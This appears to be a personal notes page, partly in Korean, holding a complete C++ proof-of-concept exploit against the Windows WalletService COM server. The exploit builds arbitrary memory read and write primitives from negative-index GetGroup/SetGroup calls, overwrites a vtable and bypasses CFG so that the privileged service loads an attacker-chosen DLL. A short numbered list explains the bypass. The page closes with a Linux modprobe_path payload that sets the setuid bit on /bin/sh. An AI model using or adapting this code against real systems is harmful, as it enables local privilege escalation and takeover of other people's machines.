---
# System prepended metadata

title: Windbg Symbo

---

https://tinyurl.com/4jz2a3b3

### Windbg Symbol

```
SRV*c:\symbols*http://msdl.microsoft.com/download/symbols
```

### Windows Calling Convention
rcx, rdx, r8, r9 , Stack... 순서로 인자 전달
코드 기준 좌측->우측


### Memory Leak 예제 코드
```clike=
obj1->CreateCustomProperty(&obj2);
if (FAILED(hr)) { PrintError(__LINE__, hr); }

uint32_t high;
uint32_t low;
int32_t idx = -4;
obj2->GetGroup(idx, &high, &low);
uint64_t heapAddr = ((uint64_t)high) << 32;
heapAddr += low;
heapAddr -= 0x60;
printf("heap @ %llx\n", heapAddr);
```

### Eop

```clike=
#include "pch.h"
class __declspec(uuid("21f1a452-9759-48a5-8d9b-bbd859ef89ee")) IWalletCustomProperty : public IUnknown {
public:
	virtual HRESULT __stdcall GetLabel(struct tagPROPVARIANT* p0);
	virtual HRESULT __stdcall SetLabel(struct tagPROPVARIANT* p0);
	virtual HRESULT __stdcall GetValue(struct tagPROPVARIANT* p0);
	virtual HRESULT __stdcall SetValue(struct tagPROPVARIANT* p0);
	virtual HRESULT __stdcall Proc7( /* ENUM32 */ uint32_t* p0);
	virtual HRESULT __stdcall Proc8( /* ENUM32 */ uint32_t p0);
	virtual HRESULT __stdcall GetGroup( /* ENUM32 */ uint32_t idx,  /* ENUM32 */ uint32_t* v1, uint32_t* v2);
	virtual HRESULT __stdcall SetGroup( /* ENUM32 */ uint32_t idx,  /* ENUM32 */ uint32_t v1, uint32_t v2);
};
class __declspec(uuid("16083582-9360-4758-8978-46970ae14999")) IWalletItem : public IUnknown {
public:
	virtual HRESULT __stdcall Proc3(int64_t* p0);
	virtual HRESULT __stdcall Proc4(  /* ENUM32 */ uint32_t* p0, int64_t p1, int64_t* p2);
	virtual HRESULT __stdcall Proc5( /* ENUM32 */ uint32_t* p0);
	virtual HRESULT __stdcall Proc6( /* ENUM32 */ uint32_t p0, struct Struct_97* p1);
	virtual HRESULT __stdcall Proc7( /* ENUM32 */ uint32_t p0, struct Struct_97* p1);
	virtual HRESULT __stdcall Proc8( /* ENUM32 */ uint32_t p0, int64_t* p1);
	virtual HRESULT __stdcall Proc9( /* ENUM32 */ uint32_t p0, int64_t* p1);
	virtual HRESULT __stdcall CreateCustomProperty(IWalletCustomProperty** p0);
	virtual HRESULT __stdcall Proc11(wchar_t* p0, IWalletCustomProperty** p1);
	virtual HRESULT __stdcall Proc12(wchar_t* p0, IWalletCustomProperty* p1);
	virtual HRESULT __stdcall Proc13(wchar_t* p0, struct Struct_97* p1, struct Struct_97* p2,  /* ENUM32 */ uint32_t* p3);
	virtual HRESULT __stdcall Proc14(wchar_t* p0, struct Struct_97* p1, struct Struct_97* p2,  /* ENUM32 */ uint32_t p3);
	virtual HRESULT __stdcall Proc15(VARIANT* p0);
	virtual HRESULT __stdcall Proc16( /* ENUM32 */ uint32_t p0, VARIANT* p1);
	virtual HRESULT __stdcall Proc17(int64_t* p0);
	virtual HRESULT __stdcall Proc18();
	virtual HRESULT __stdcall Proc19( /* ENUM32 */ uint32_t p0);
	virtual HRESULT __stdcall Proc20(IWalletItem* p0);
	virtual HRESULT __stdcall Proc21( /* ENUM32 */ uint32_t* p0);
	virtual HRESULT __stdcall Proc22(int64_t* p0);
};
class __declspec(uuid("14ff27de-1dc9-4617-8ed3-9a042d52391f")) IWalletItemList : public IUnknown {
public:
	virtual HRESULT __stdcall HasPendingChanges( /* ENUM32 */ uint32_t* p0);
	virtual HRESULT __stdcall GetItemCount(ULONG* p0);
	virtual HRESULT __stdcall GetItemAt(int64_t p0, IWalletItem** p1);
	virtual HRESULT __stdcall Proc6(int64_t p0);
	virtual HRESULT __stdcall Proc7(int64_t p0, int64_t* p1);
	virtual HRESULT __stdcall Proc8(int64_t p0, int64_t* p1);
	virtual HRESULT __stdcall Proc9(int64_t p0,  /* ENUM32 */ uint32_t* p1);
	virtual HRESULT __stdcall Proc10(IWalletItemList* p0);
};
class __declspec(uuid("fe8a7c3d-a504-4c31-81ec-d8ec8d9fa6b7")) IWalletTransactionManager : public IUnknown {
public:
	virtual HRESULT __stdcall Proc3(int64_t p0, IWalletItemList** p1);
	virtual HRESULT __stdcall Proc4(IWalletItem* p0, IWalletItem** p1);
	virtual HRESULT __stdcall Proc5(int64_t* p0);
	virtual HRESULT __stdcall Proc6(int64_t p0);
	virtual HRESULT __stdcall Proc7(int64_t p0);
};
class __declspec(uuid("c5b00653-be27-41f2-b669-d780698f8d9d")) IWalletLocationManager : public IUnknown {
public:
	virtual HRESULT __stdcall Proc3(int64_t p0, IWalletItemList** p1);
	virtual HRESULT __stdcall Proc4(IWalletItem* p0, IWalletItem** p1);
	virtual HRESULT __stdcall Proc5(int64_t* p0);
	virtual HRESULT __stdcall Proc6(int64_t p0);
	virtual HRESULT __stdcall Proc7(int64_t p0);
	virtual HRESULT __stdcall Proc8();
	virtual HRESULT __stdcall Proc9(int64_t* p0);
	virtual HRESULT __stdcall Proc10();
	virtual HRESULT __stdcall Proc11();
};
class __declspec(uuid("b9860518-0cdf-4dba-a981-807f3cbdc80a")) IWalletX : public IUnknown {
public:
	virtual HRESULT __stdcall Proc3(IWalletItemList** p0);
	virtual HRESULT __stdcall Proc4(IWalletItemList** p0);
	virtual HRESULT __stdcall Proc5(wchar_t* p0, IWalletItem** p1);
	virtual HRESULT __stdcall Proc6();
	virtual HRESULT __stdcall Proc7(IWalletTransactionManager** p0);
	virtual HRESULT __stdcall Proc8(IWalletLocationManager** p0);
	virtual HRESULT __stdcall Proc9(IWalletItem* p0,  /* ENUM32 */ uint32_t p1);
	virtual HRESULT __stdcall Proc10(int64_t p0, int64_t* p1);
	virtual HRESULT __stdcall CreateWalletItem( /* ENUM32 */ uint32_t p0, IWalletItem** p1);
	virtual HRESULT __stdcall Proc12(wchar_t* p0, IWalletItem** p1);
	virtual HRESULT __stdcall Proc13(int64_t p0, IWalletItem** p1);
	virtual HRESULT __stdcall Proc14(IWalletItem* p0);
	virtual HRESULT __stdcall Proc15(IWalletItem* p0, wchar_t* p1);
	virtual HRESULT __stdcall Proc16(IWalletItem* p0,  /* ENUM32 */ uint32_t* p1);
	virtual HRESULT __stdcall Proc17(IWalletItem* p0, int64_t p1);
	virtual HRESULT __stdcall Proc18(wchar_t* p0, IWalletItem** p1);
	virtual HRESULT __stdcall Proc19(wchar_t* p0);
};


IWalletX* obj;
IWalletItem* obj1;
IWalletCustomProperty* obj2, * obj3;
ULONG64 heap;

int PrintError(unsigned int line, HRESULT hr)
{
	wprintf_s(L"ERROR: Line:%d HRESULT: 0x%X\n", line, hr);
	return hr;
}

void write(size_t addr, void *buf, UINT size=8) {
	uint32_t num1 = addr & 0xffffffff,
		num2 = addr >> 32,
		backup, nouse;
	if (num2 == -1 || num1 == 0x20)
	{
		puts("error addr, try again");
		exit(-1);
	}

	obj2->GetGroup(-9, &backup, &nouse);
	obj2->SetGroup(-9, backup, num1);
	obj2->GetGroup(-8, &nouse, &backup);
	obj2->SetGroup(-8, num2, backup);

	addr = -1;
	num1 = addr & 0xffffffff;
	num2 = addr >> 32;
	obj2->GetGroup(-7, &backup, &nouse);
	obj2->SetGroup(-7, backup, num1);
	obj2->GetGroup(-6, &nouse, &backup);
	obj2->SetGroup(-6, num2, backup);

	tagPROPVARIANT input;
	input.vt = 8;
	input.bstrVal = SysAllocStringLen((const OLECHAR*)buf, size);
	obj2->SetLabel(&input);
}

char* read(size_t addr, size_t size=8) {
	uint32_t num1 = addr & 0xffffffff,
		num2 = addr >> 32,
		backup, backup1, nouse;

	char* buf = new char[size + 1]{ 0 }, * p = buf;
	obj2->GetGroup(-9, &backup, &nouse);
	obj2->GetGroup(-8, &nouse, &backup1);

	for (size_t i = 0; i < size; i++) {
		obj2->SetGroup(-9, backup, num1++);
		obj2->SetGroup(-8, num2, backup1);

		tagPROPVARIANT input;
		input.vt = 8;
		input.bstrVal = 0;
		obj2->GetLabel(&input);
		*p++ = *(char*)input.bstrVal;
	}

	return buf;
}

DWORD poc(LPVOID dllpath)
{
	CoInitializeEx(NULL, COINIT_MULTITHREADED);
	HRESULT hr;
	CLSID clsid;
	IID iid;
	CLSIDFromString(OLESTR("{97061DF1-33AA-4B30-9A92-647546D943F3}"), &clsid);
	IIDFromString(OLESTR("{b9860518-0cdf-4dba-a981-807f3cbdc80a}"), &iid);

	hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&obj);

	if (FAILED(hr)) { PrintError(__LINE__, hr); }

	hr = obj->CreateWalletItem(1, &obj1);
	if (FAILED(hr)) { PrintError(__LINE__, hr); }

	hr = obj1->CreateCustomProperty(&obj2);
	if (FAILED(hr)) { PrintError(__LINE__, hr); }

	for(int i=0;i<10;i++)
		hr = obj1->CreateCustomProperty(&obj3);

	uint32_t out1, out2;
	heap = 0;

	hr = obj2->GetGroup(-13,&out1,&out2);
	if (FAILED(hr)) { PrintError(__LINE__, hr); }
	heap = out2;

	hr = obj2->GetGroup(-12, &out1, &out2);
	if (FAILED(hr)) { PrintError(__LINE__, hr); }
	heap += (ULONG64)out1 << 32;

	printf("heap @ 0x%llx\n", heap); // heap
	printf("WalletCustomProperty @ 0x%llx\n", heap - 0x20);

	//-----------------------------------------------

	size_t walletservice = (size_t)LoadLibrary(L"walletservice.dll");
	size_t dxgi = (size_t)LoadLibrary(L"dxgi.dll");
	size_t dxgi_environ = 0xC5E68 + dxgi;
	size_t dxgi_environ_length = 0xC5E80 + dxgi;

	printf("dxgi_environ @ %llx\n", dxgi_environ);
	printf("dxgi_environ_length @ %llx\n", dxgi_environ_length);

	size_t FakeVTBuf = 0x66EB0 + walletservice - 0x500; // read / writable memory in WalletService
	size_t NeedFlagBuf = 0x66F30 + walletservice - 0x500;
	size_t myenviron = 0x66F38 + walletservice - 0x500;

	printf("FakeVTBuf @ %llx\n", FakeVTBuf);
	printf("NeedFlagBuf @ 0x%llx\nwill_call: 0x%llx\n", NeedFlagBuf, dxgi + 0x011D00);
	printf("myenviron @ %llx\n", myenviron);

	write(myenviron, (void*)dllpath, wcslen((const wchar_t*)dllpath) + 1);

	size_t fakevtable_start = FakeVTBuf;
	size_t fakevtable[] = {
		0x4141414141,
		0x4141414142,
		0x4141414143,
		dxgi + 0x011D00
	};

	size_t tmp;
	for (auto i : fakevtable) {
		tmp = i;
		write(fakevtable_start, &tmp,8);
		fakevtable_start += 8;
	}

	tmp = NeedFlagBuf - 0x174;
	write(heap + 0x60, &tmp, 8);

	tmp = 1;
	write(NeedFlagBuf, &tmp, 8);

	tmp = myenviron;
	write(dxgi_environ, &tmp, 8);

	tmp = 0x530;
	write(dxgi_environ_length, &tmp, 4);
	write(dxgi_environ_length + 0xc, &tmp, 8);

	write(heap-0x20, &FakeVTBuf, 8); // this's vtable is currupted

	uint32_t ac = 1;
	tagPROPVARIANT t = { };
	hr = obj2->GetLabel(&t); // call dxgi!ATL::CComObject<CDXGIAdapter>::`vector deleting destructor
	if (FAILED(hr)) { PrintError(__LINE__, hr); }

	puts("Done!");
	while(1){} // hang
	return 0;
}


int wmain(int argc,wchar_t **argv) {
	if (argc != 2) {
		printf("usage: %ws .dll(Absolute_path)\n", argv[0]);
		exit(0);
	}
	poc(argv[1]);
}
```

CFG 우회 메소드
```
ATL::CComObject<CDXGIAdapter>::`vector deleting destructor'
```

1. ATL::CComObject<CDXGIAdapter>::`vector deleting destructor' 메소드는 guard_fids_table에 정의된 메소드로, fake vtable 요소로 사용할 수 있음.
    
2. 해당 함수는 내부적으로 전역변수 문자열을 참조한 후, 해당 문자열을 경로로 LoadLibrary를 호출
    
3. 임의 주소에 대한 쓰기가 가능하다면, 해당 전역변수에 공격자 dll 경로를 덮어씀
    
4. ATL::~~ 메소드 주소를 포함한 fake vtable을 구성
    
5. victim 객체의 vtable을 fake vtable로 조작

    

modprobe_path 

    
!#/bin/sh
chmod u+s /bin/sh
    
    0xfffffff